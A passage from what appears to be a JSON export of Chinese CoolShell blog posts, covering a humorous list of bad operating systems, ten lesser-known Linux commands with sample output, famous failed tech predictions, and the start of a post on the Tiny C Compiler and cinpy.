href=\"http://en.wikipedia.org/wiki/Windows_1.0\" target=\"new\">Windows 1.01</a>, 1985</h4>\n<p>Microsoft第一次尝试图形用户接口是为了 MS-DOS ，用一个词来形容，就是 dreadful。相当的ugly，用了两年的时间来开发但却几乎无法很好的工作。另外，这个图形界面中几乎没有什么可以运行的东西。直到两年后的Windows 2.03 ，Windows才开始像点样了。</p>\n<p>再让我们对这个操作系统加点侮辱性的词汇吧，自从Windows 1 发布以来，Mac 早就提供了起前的 System 2.1，当时的Mac OS 包含了AppleTalk 网络，PostScript 可以使用激光打印机，以及最早的PC文件系统：Hierarchical File System. 连比都没法比。</p>\n<h4><a href=\"http://nukesoft.co.uk/msdos/dosversions.shtml\" target=\"new\">MS-DOS 4.0</a>, 1988</h4>\n<p>1988 年微软在其MS-DOS 上花费了大量的时间来改善其，当然，MS-DOS是一版不如一版，虽然比起MS-DOS3.3都很差，但自从令人恐怕MS-DOS 4.0问世以来，其它更烂MS-DOS都不能算得上烂了。你的程序就像时钟一样的总是终断，在程序执行到一样总是会完全死了。除了Windows的蓝屏之外，没有比这再烂的事了。</p>\n<p>当时，几乎所有的PC要么都回到了MS-DOS 3.3 ，要么就转于使用 Digital Research的 DR-DOS 3.41 。虽然 DR-DOS 的版本号是在模仿MS-DOS 以提供相似的功能，但是Digital Research 最终在 1989 年使用了 DR-DOS 5.0 来避免人们会联想到 MS-DOS 4.0。</p>\n<p><a name=\"opendesktop\"></a></p>\n<h4><a href=\"http://www.websters-dictionary-online.org/Op/Open+Desktop.html\" target=\"new\">SCO Open Desktop</a>, 1989</h4>\n<p>正面来说，这是第一个32位的 Unix 的图形界面，负面来说，这个操作系统的昵称叫 Open Deathtrap。Open Desktop 会是，也能够，并提供一些最令人娱乐的方式。一个编译器可以让整个系统core dump 。</p>\n<p><a name=\"javaos\"></a></p>\n<h4><a href=\"http://www.operating-system.org/betriebssystem/_english/bs-javaos.htm\" target=\"new\">JavaOS</a>, 1996</h4>\n<p>想知道什么是最糟糕的操作系统的想法吗？那就是使用一种慢得像泥巴一样的语言Java来写这个操作系统。1996年，得到了IBM的帮助的Sun尝试了这件事。JavaOS 当时被设计在网络计算机上和嵌入式系统上。</p>\n<p>那会是怎么个样子呢？让我这样来说吧：这个世界上有许多的嵌入式操作系统，如： Qnx, VxWorks, Symbian, Windows CE 等等，但是，在这个圈子里，几乎没人知道还有JavaOS这么个东西。</p>\n<p>虽然有几个公司得到了许可证，但是只有一个产品在商业上使用了这个东西，那就是Sun公司自己的可能都忘了的 <a href=\"http://docs.sun.com/app/docs/doc/805-5890-10/6j5ic0vpe?l=en&amp;a=view\" target=\"new\">JavaStation network computer</a>。到了 2006年， Sun公司开始清理他自己的废弃的系统时，最终把结束了基于 Java的操作系统。</p>\n<h4><a href=\"http://en.wikipedia.org/wiki/Windows_Me\" target=\"new\">Windows Me</a> (Millennium Edition千禧版), 2000</h4>\n<p>在Vista出来之前，Windows Me 绝对是Windows系列中最差的操作系统，作为Windows 98 SE的继任者，在 <em>PC World</em> <a href=\"http://www.pcworld.com/article/125772-2/the_25_worst_tech_products_of_all_time.html\" target=\"new\">25 史上最烂的科技产品</a>中排行第四。这是一个想集16位和 32位为一身的操作系统。就像给一匹马的每条前腿上都装上一个轮子，而在后腿上钉上马掌。缓慢，不稳定，不安全，这些都是Windows的共性，但是Windows ME是终极的缓慢，不稳定和不安全。它究竟有多烂？烂到了微软自己也就卖了它一年多一点吧。</p>\n<p><a name=\"lindows\"></a></p>\n<h4><a href=\"http://www.wired.com/software/coolapps/news/2001/10/47888\" target=\"new\">Lindows</a>/<a href=\"http://www.linux-xp.com/\" target=\"new\">Linux XP Desktop</a>, 2001/2006</h4>\n<p>如果你想要把 Linux 和 Windows 放在一起会怎么样？Nothing very good。 Lindows, 始于2001年，号称要把所有的Windows的程序可以运行在Linux下， 但没有几个月，Lindows Inc. 放弃了这个想法。就算是<a href=\"http://www.winehq.org/\" target=\"new\">WINE</a>，这个程序也没有办法让足够多的Windows程序运行于Linux。</p>\n<p>当然，这些SB的想法并没有就上终止，Russia-based TrustVerse 还在试图 “We’ll be everything Windows, but we’re Linux” 去创建一个 Linux XP Desktop。这个想法并没有比 Lindows 好多少。如果你真的想在Linux下运行Windows的应用程序，你应该看看——CodeWeavers的 <a href=\"http://www.codeweavers.com/products/cxlinux/\" target=\"new\">CrossOver Linux</a>.</p>\n<p><a name=\"vista\"></a></p>\n<h4><a href=\"http://www.microsoft.com/windows/windows-vista/discover/default.aspx\" target=\"new\">Windows Vista</a>, 2006</h4>\n<p>相信你对这个操作系统不会感到陌生，那我们就用再一一列举这个系统的不好的地方了。反正，就是慢，软硬件不兼容，高成本，安全差等等这些事。</p>\n<p>看看这篇文章 <a href=\"http://blogs.computerworld.com/microsoft_caved_to_intel_in_vista_junk_pc_scheme\">“Vista Capable” sticker</a>你可能会知道一些，下面摘自 <a href=\"http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;articleId=9065538\">early “review” of Vista</a>:</p>\n<blockquote><p>“I chose my laptop (a Sony TX770P) because it had the Vista logo and was pretty disappointed that it not only wouldn’t run [Aero], but more important wouldn’t run [Windows] Movie Maker. … Now I have a $2,100 e-mail machine.”</p></blockquote>\n<p>谁是这个评论的作者？ Mike Nash, Microsoft公司的副总裁，主管Window产品。这是和他一个内部的邮件，时间是 2007年2月25日。</p>\n<p>再看看这篇文章<a href=\"http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;articleId=9112885\">downgraded to XP</a>, 以及这篇文章 <a href=\"http://blogs.computerworld.com/xp_lives_for_a_price\">extending the cutoff date for XP sales</a> 还有这篇，<a href=\"http://blogs.computerworld.com/vista_r_i_p\">hurrying Windows 7 to market</a> 越来越有意思了。</p>\n<p><em></em></p>\n<p>文章：<a href=\"http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;taxonomyName=Operating+Systems&amp;articleId=9131178&amp;taxonomyId=89&amp;pageNumber=1\" target=\"_blank\">来源</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1998.html\"><img alt=\"粉丝眼中的操作系统\" height=\"150\" src=\"../wp-content/uploads/2009/12/operatingsystems-fanboys-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1998.html\">粉丝眼中的操作系统</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/105.html\"><img alt=\"操作系统图形界面发展史(1981-2009)\" height=\"150\" src=\"../wp-content/uploads/2009/03/19-windows-3-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/105.html\">操作系统图形界面发展史(1981-2009)</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2011.html\"><img alt=\"推荐几个镜像站点\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2011.html\">推荐几个镜像站点</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/822.html\"><img alt=\"Linux磁盘使用命令du的改进\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/822.html\">Linux磁盘使用命令du的改进</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/599.html\"><img alt=\"Google 三维 JavaScript API 发布\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/599.html\">Google 三维 JavaScript API 发布</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3331.html\"><img alt=\"用Google Translate玩转beat box\" height=\"150\" src=\"../wp-content/uploads/2010/12/google_beat_box-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3331.html\">用Google Translate玩转beat box</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/394.html\">十大史上最恶心的操作系统</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-5-10 十个你可能不曾用过的Linux命令.html",
    "content": "<html><body><p>下面可能是你不曾用过后十个Linux的命令。相当的有用。</p>\n<p><strong>1）pgrep</strong></p>\n<p>pgrep名字前有个p，我们可以猜到这和进程相关，又是grep，当然这是进程相关的grep命令。不过，这个命令主要是用来列举进程ID的。如：</p>\n<pre class=\"EnlighterJSRAW\">\n$ pgrep -u hchen\n22441\n22444\n</pre>\n<p>这个命令相当于：</p>\n<p><code class=\"EnlighterJSRAW\">ps -ef | egrep '^hchen' | awk '{print $2}'</code></p>\n<p><span id=\"more-790\"></span></p>\n<p><strong>2）pstree</strong></p>\n<p>这个命令可以以树形的方式列出进程。如下所示：</p>\n<pre class=\"EnlighterJSRAW\">\n[hchen@RHELSVR5 ~]$ pstree\ninit-+-acpid\n     |-auditd-+-python\n     |        `-{auditd}\n     |-automount---4*[{automount}]\n     |-backup.sh---sleep\n     |-dbus-daemon\n     |-events/0\n     |-events/1\n     |-hald---hald-runner---hald-addon-acpi\n     |-httpd---10*[httpd]\n     |-irqbalance\n     |-khelper\n     |-klogd\n     |-ksoftirqd/0\n     |-ksoftirqd/1\n     |-kthread-+-aio/0\n     |         |-aio/1\n     |         |-ata/0\n     |         |-ata/1\n     |         |-ata_aux\n     |         |-cqueue/0\n     |         |-cqueue/1\n     |         |-kacpid\n     |         |-kauditd\n     |         |-kblockd/0\n     |         |-kblockd/1\n     |         |-kedac\n     |         |-khubd\n     |         |-6*[kjournald]\n     |         |-kmirrord\n     |         |-kpsmoused\n     |         |-kseriod\n     |         |-kswapd0\n     |         |-2*[pdflush]\n     |         |-scsi_eh_0\n     |         |-scsi_eh_1\n     |         |-xenbus\n     |         `-xenwatch\n     |-migration/0\n     |-migration/1\n     |-6*[mingetty]\n     |-3*[multilog]\n     |-mysqld_safe---mysqld---9*[{mysqld}]\n     |-smartd\n     |-sshd---sshd---sshd---bash---pstree\n     |-svscanboot---svscan-+-3*[supervise---run]\n     |                     |-supervise---qmail-send-+-qmail-clean\n     |                     |                        |-qmail-lspawn\n     |                     |                        `-qmail-rspawn\n     |                     `-2*[supervise---tcpserver]\n     |-syslogd\n     |-udevd\n     |-watchdog/0\n     |-watchdog/1\n     `-xinetd\n</pre>\n<p> </p>\n<p><strong>3）bc</strong></p>\n<p>这个命令主要是做一个精度比较高的数学运算的。比如开平方根等。下面是一个我们利用bc命令写的一个脚本（文件名：sqrt）</p>\n<pre class=\"EnlighterJSRAW\">\n#!/bin/bash\nif [ $# -ne 1 ]\nthen\n    echo 'Usage: sqrt number'\n    exit 1\nelse\n    echo -e \"sqrt($1)\\nquit\\n\" | bc -q -i\nfi\n</pre>\n<p>于是，我们可以这样使用这个脚本进行平方根运算：</p>\n<pre class=\"EnlighterJSRAW\">\n[hchen@RHELSVR5]$ ./sqrt 36\n6\n[hchen@RHELSVR5]$ ./sqrt 2.0000\n1.4142\n[hchen@RHELSVR5]$ ./sqrt 10.0000\n3.1622\n</pre>\n<p> </p>\n<p><strong>4）split</strong></p>\n<p>如果你有一个很大的文件，你想把其分割成一些小的文件，那么这个命令就是干这件事的了。</p>\n<pre class=\"EnlighterJSRAW\">\n[hchen@RHELSVR5 applebak]# ls -l largefile.tar.gz\n-rw-r--r-- 1 hchen hchen 436774774 04-17 02:00 largefile.tar.gz \n\n[hchen@RHELSVR5 applebak]# split -b 50m largefile.tar.gz LF_\n\n[hchen@RHELSVR5]# ls -l LF_*\n-rw-r--r-- 1 hchen hchen 52428800 05-10 18:34 LF_aa\n-rw-r--r-- 1 hchen hchen 52428800 05-10 18:34 LF_ab\n-rw-r--r-- 1 hchen hchen 52428800 05-10 18:34 LF_ac\n-rw-r--r-- 1 hchen hchen 52428800 05-10 18:34 LF_ad\n-rw-r--r-- 1 hchen hchen 52428800 05-10 18:34 LF_ae\n-rw-r--r-- 1 hchen hchen 52428800 05-10 18:35 LF_af\n-rw-r--r-- 1 hchen hchen 52428800 05-10 18:35 LF_ag\n-rw-r--r-- 1 hchen hchen 52428800 05-10 18:35 LF_ah\n-rw-r--r-- 1 hchen hchen 17344374 05-10 18:35 LF_ai\n</pre>\n<p> </p>\n<p>文件合并只需要使用简单的合并就行了，如：</p>\n<pre class=\"EnlighterJSRAW\">\n[hchen@RHELSVR5]#  cat LF_* &gt;largefile.tar.gz\n</pre>\n<p> </p>\n<p><strong>5）nl</strong></p>\n<p>nl命令其它和cat命令很像，只不过它会打上行号。如下所示：</p>\n<pre class=\"EnlighterJSRAW\">\n[hchen@RHELSVR5 include]# nl stdio.h | head -n 10\n     1  /* Define ISO C stdio on top of C++ iostreams.\n     2     Copyright (C) 1991,1994-2004,2005,2006 Free Software Foundation, Inc.\n     3     This file is part of the GNU C Library. \n\n     4     The GNU C Library is free software; you can redistribute it and/or\n     5     modify it under the terms of the GNU Lesser General Public\n     6     License as published by the Free Software Foundation; either\n     7     version 2.1 of the License, or (at your option) any later version.\n\n     8     The GNU C Library is distributed in the hope that it will be useful,\n</pre>\n<p> </p>\n<p><strong>6）mkfifo</strong></p>\n<p>熟悉Unix的人都应该知道这个是一个创建有名管道的系统调用或命令。平时，我们在命令行上使用竖线“|”把命令串起来是使用无命管道。而我们使用mkfifo则使用的是有名管道。下面是示例：</p>\n<p>下面是创建一个有名管道：</p>\n<pre class=\"EnlighterJSRAW\">\n[hchen@RHELSVR5 ~]# mkfifo /tmp/hchenpipe\n\n[hchen@RHELSVR5 ~]# ls -l /tmp\nprw-rw-r-- 1 hchen  hchen  0 05-10 18:58 hchenpipe\n</pre>\n<p>然后，我们在一个shell中运行如下命令，这个命令不会返回，除非有人从这个有名管道中把信息读走。</p>\n<pre class=\"EnlighterJSRAW\">\n[hchen@RHELSVR5 ~]# ls -al &gt; /tmp/hchenpipe\n</pre>\n<p>我们在另一个命令窗口中读取这个管道中的信息：（其会导致上一个命令返回）</p>\n<pre class=\"EnlighterJSRAW\">\n[hchen@RHELSVR5 ~]# head /tmp/hchenpipe\ndrwx------ 8 hchen hchen    4096 05-10 18:27 .\ndrwxr-xr-x 7 root  root     4096 03-05 00:06 ..\ndrwxr-xr-x 3 hchen hchen    4096 03-01 18:13 backup\n-rw------- 1 hchen hchen     721 05-05 22:12 .bash_history\n-rw-r--r-- 1 hchen hchen      24 02-28 22:20 .bash_logout\n-rw-r--r-- 1 hchen hchen     176 02-28 22:20 .bash_profile\n-rw-r--r-- 1 hchen hchen     124 02-28 22:20 .bashrc\n-rw-r--r-- 1 root  root    14002 03-07 00:29 index.htm\n-rw-r--r-- 1 hchen hchen   31465 03-01 23:48 index.php\n</pre>\n<p> </p>\n<p><strong>7）ldd</strong></p>\n<p>这个命令可以知道你的一个可执行文件所使用了动态链接库。如：</p>\n<pre class=\"EnlighterJSRAW\">\n[hchen@RHELSVR5 ~]# ldd /usr/bin/java\n        linux-gate.so.1 =&gt;  (0x00cd9000)\n        libgij.so.7rh =&gt; /usr/lib/libgij.so.7rh (0x00ed3000)\n        libgcj.so.7rh =&gt; /usr/lib/libgcj.so.7rh (0x00ed6000)\n        libpthread.so.0 =&gt; /lib/i686/nosegneg/libpthread.so.0 (0x00110000)\n        librt.so.1 =&gt; /lib/i686/nosegneg/librt.so.1 (0x009c8000)\n        libdl.so.2 =&gt; /lib/libdl.so.2 (0x008b5000)\n        libz.so.1 =&gt; /usr/lib/libz.so.1 (0x00bee000)\n        libgcc_s.so.1 =&gt; /lib/libgcc_s.so.1 (0x00aa7000)\n        libc.so.6 =&gt; /lib/i686/nosegneg/libc.so.6 (0x0022f000)\n        libm.so.6 =&gt; /lib/i686/nosegneg/libm.so.6 (0x00127000)\n        /lib/ld-linux.so.2 (0x00214000)\n</pre>\n<p> </p>\n<p><strong>8）col</strong></p>\n<p>这个命令可以让你把man文件转成纯文本文件。如下示例：</p>\n<pre class=\"EnlighterJSRAW\">\n# PAGER=cat\n# man less | col -b &gt; less.txt\n</pre>\n<p> </p>\n<p><strong>9）xmlwf</strong></p>\n<p>这个命令可以让你检查一下一个XML文档是否是所有的tag都是正常的。如：</p>\n<pre class=\"EnlighterJSRAW\">\n[hchen@RHELSVR5 ~]# curl 'https://coolshell.cn/?feed=rss2' &gt; cocre.xml\n  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\n                                 Dload  Upload   Total   Spent    Left  Speed\n100 64882    0 64882    0     0  86455      0 --:--:-- --:--:-- --:--:-- 2073k\n[hchen@RHELSVR5 ~]# xmlwf cocre.xml\n[hchen@RHELSVR5 ~]# perl -i -pe 's@&lt;link&gt;@&lt;br&gt;@g' cocre.xml\n[hchen@RHELSVR5 ~]# xmlwf cocre.xml\ncocre.xml:13:23: mismatched tag\n</pre>\n<p> </p>\n<p><strong>10）lsof</strong></p>\n<p>可以列出打开了的文件。</p>\n<pre class=\"EnlighterJSRAW\">\n[root@RHELSVR5 ~]# lsof | grep TCP\nhttpd       548    apache    4u     IPv6   14300967    TCP *:http (LISTEN)\nhttpd       548    apache    6u     IPv6   14300972    TCP *:https (LISTEN)\nhttpd       561    apache    4u     IPv6   14300967    TCP *:http (LISTEN)\nhttpd       561    apache    6u     IPv6   14300972    TCP *:https (LISTEN)\nsshd       1764      root    3u     IPv6       4993    TCP *:ssh (LISTEN)\ntcpserver  8965      root    3u     IPv4  153795500    TCP *:pop3 (LISTEN)\nmysqld    10202     mysql   10u     IPv4   73819697    TCP *:mysql (LISTEN)\nsshd      10735      root    3u     IPv6  160731956    TCP 210.51.0.232:ssh-&gt;123.117.239.68:31810 (ESTABLISHED)\nsshd      10767     hchen    3u     IPv6  160731956    TCP 210.51.0.232:ssh-&gt;123.117.239.68:31810 (ESTABLISHED)\nvsftpd    11095      root    3u     IPv4  152157957    TCP *:ftp (LISTEN)\n</pre>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17416.html\"><img alt=\"缓存更新的套路\" height=\"150\" src=\"../wp-content/uploads/2016/07/cache-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17416.html\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/790.html\">十个你可能不曾用过的Linux命令</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-5-10 十大最失水准的科技预测.html",
    "content": "<html><body><p>英国权威消费数码杂志T3评出了有史以来十大最失水准的科技预测。比尔·盖茨也占了其中2项。预测未来的确是一件很难的事情，即便是最聪明的人也会马失前蹄。</p>\n<p>1.  下一个圣诞节，iPod将会死去，完蛋，过时。<em><span style=\"color: #808080;\"> Allan Sugar爵士（一个很著名的英国企业家，和BBC合作一个著名的节目《学徒》）, 2005.</span><br/>\n</em>2.  家庭不需要有一台电脑。  <em><span style=\"color: #808080;\">Ken Olsen, Digital Equipment简称DEC的创始人, 1977.</span></em><br/>\n3.  核能吸尘器将在10年内成为现实。  <span style=\"color: #808080;\"><em>Alex Lewyt（</em>真空吸尘器公司Lewyt Corp的CEO<em>）, 1955.</em></span><br/>\n4.  电视不可能兴盛起来，因为人们“很快就会因为每晚盯着一个胶合板盒子而感到厌烦”。 <span style=\"color: #808080;\"><em>Darryl Zanuck（</em> 好莱坞多栖明星<em>）, 1946.</em></span><br/>\n5.  1933年，在可容纳10名乘客的波音247首航之后，一名自豪的波音工程师曾表示：“永远不可能制造出比247更大的飞机”。 <span style=\"color: #808080;\"><em>Boeing engineer, 1933.</em></span></p>\n<p><span id=\"more-783\"></span><br/>\n6.  我们已处在火箭邮递时代开始的前夜。 <span style=\"color: #808080;\"><em>Arthur Summerfield（美国邮政部长）, 1959.</em></span><br/>\n7.  不可能再有人需要为自己的PC安装超过640 KB的内存。 <span style=\"color: #808080;\"><em>Bill Gates, allegedly in  1981</em></span><br/>\n8.  美国人需要电话，但我们并不需要，因为我们有数量庞大的信差。 <span style=\"color: #808080;\"><em>William Preece 爵士, </em>英国邮政总局首席工程师<em>, 1874.</em></span><br/>\n9.  垃圾邮件问题将在两年内得到解决。 <span style=\"color: #808080;\"><em>Bill Gates, 2004.</em></span><br/>\n10. 事实将证明，X射线不过是一个骗局。  <span style=\"color: #808080;\"><em>Lord Kelvin, </em>英国皇家学会会长<em>, 1883.</em></span></p>\n<p><span style=\"color: #808080;\">原文链接: <a href=\"http://www.t3.com/news/sugar-ipod-error-is-worst-tech-prediction?=37516\"><span style=\"color: #5588aa;\">http://www.t3.com/news/sugar-ipod-error-is-worst-tech-prediction?=37516</span></a> </span><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2015.html\"><img alt=\"google的免费dns服务器\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2015.html\">google的免费dns服务器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1432.html\"><img alt=\"编译vim解决中文支持\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1432.html\">编译vim解决中文支持</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3267.html\"><img alt=\"游戏Flash vs HTML5\" height=\"150\" src=\"../wp-content/uploads/2010/11/flash_vs_html5-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3267.html\">游戏Flash vs HTML5</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/753.html\"><img alt=\"不要拯救那些职场上的“无可救药”\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/753.html\">不要拯救那些职场上的“无可救药”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3921.html\"><img alt=\"中国仍是IE6的重灾区\" height=\"150\" src=\"../wp-content/uploads/2011/03/IE6-Countdown-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3921.html\">中国仍是IE6的重灾区</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3463.html\"><img alt=\"图解SQL的Join\" height=\"150\" src=\"../wp-content/uploads/2011/01/Inner_Join-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3463.html\">图解SQL的Join</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/783.html\">十大最失水准的科技预测</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-5-10 用TCC可以干些什么？.html",
    "content": "<html><body><p>Tiny C Compiler 是一个微型的 C 语言编译器，支持 Windows 和 Linux 平台。其项目主页是： <a href=\"http://bellard.org/tcc/\" target=\"_blank\">http://bellard.org/tcc/</a> 。你可以使用这个不到100K的编译器编译你的C文件，其支持C的预处理，编译，机器码汇编和链接。编译速度也超过了gcc，而且它支持ISO C99标准，并且，tcc还包括了一些内存和数组边界的检查。其还可以编译Linux的内核。</p>\n<p>不过，TCC 最有趣的特性是可以用 UNIX 系统上常见的 #!/usr/bin/tcc 的方式来执行 ANSI C 语言写就的源程序，省略掉了在命令行上进行编译和链接的步骤，而可以直接运行 C 语言写就的源程序。这样就能做到像任何一种其它的脚本语言比如 Perl 或者是 Python 一样，显著的加快开发步调。可以像编写 Shell 脚本一样的使用 C 语言，随便想一想都觉得是一件奇妙的事情。但是 TCC 还有一些其它的特性呢！</p>\n<p><span id=\"more-786\"></span></p>\n<p>在TCC这个超小型的C语言编译器下，我们还可以干得更多，比如这个开源项目：C in Python，项目主页是：<a href=\"http://www.cs.tut.fi/~ask/cinpy/\">http://www.cs.tut.fi/~ask/cinpy/</a>，这个项目主要是让你可以在Python中直接使用C的源码。呵呵。</p>\n<p>Cinpy 是一个Python的库，它可以让你在Python的模块中实现C的函数。在前些天，酷壳向大家介绍过《<a class=\"title\" href=\"https://coolshell.cn/articles/671.html\" rel=\"bookmark\"><span style=\"color: #4c4c4c;\">Python调用C语言函数</span></a>》——这主要是通过调用动态链接库的方式调用C的函数。而Cinpy则是直接在Python中写C语言。</p>\n<p>我们来看一个示例：（部分代码）</p>\n<pre class=\"EnlighterJSRAW\">\nimport ctypes\nimport cinpy\n\n# Fibonacci in Python\ndef fibpy(x):\n    if x&lt;=1: return 1\n    return fibpy(x-1)+fibpy(x-2)\n\n# Fibonacci in C\nfibc=cinpy.defc(\"fib\",\n                ctypes.CFUNCTYPE(ctypes.c_long,ctypes.c_int),\n                \"\"\"\n                long fib(int x) {\n                    if (x&lt;=1) return 1;\n                    return 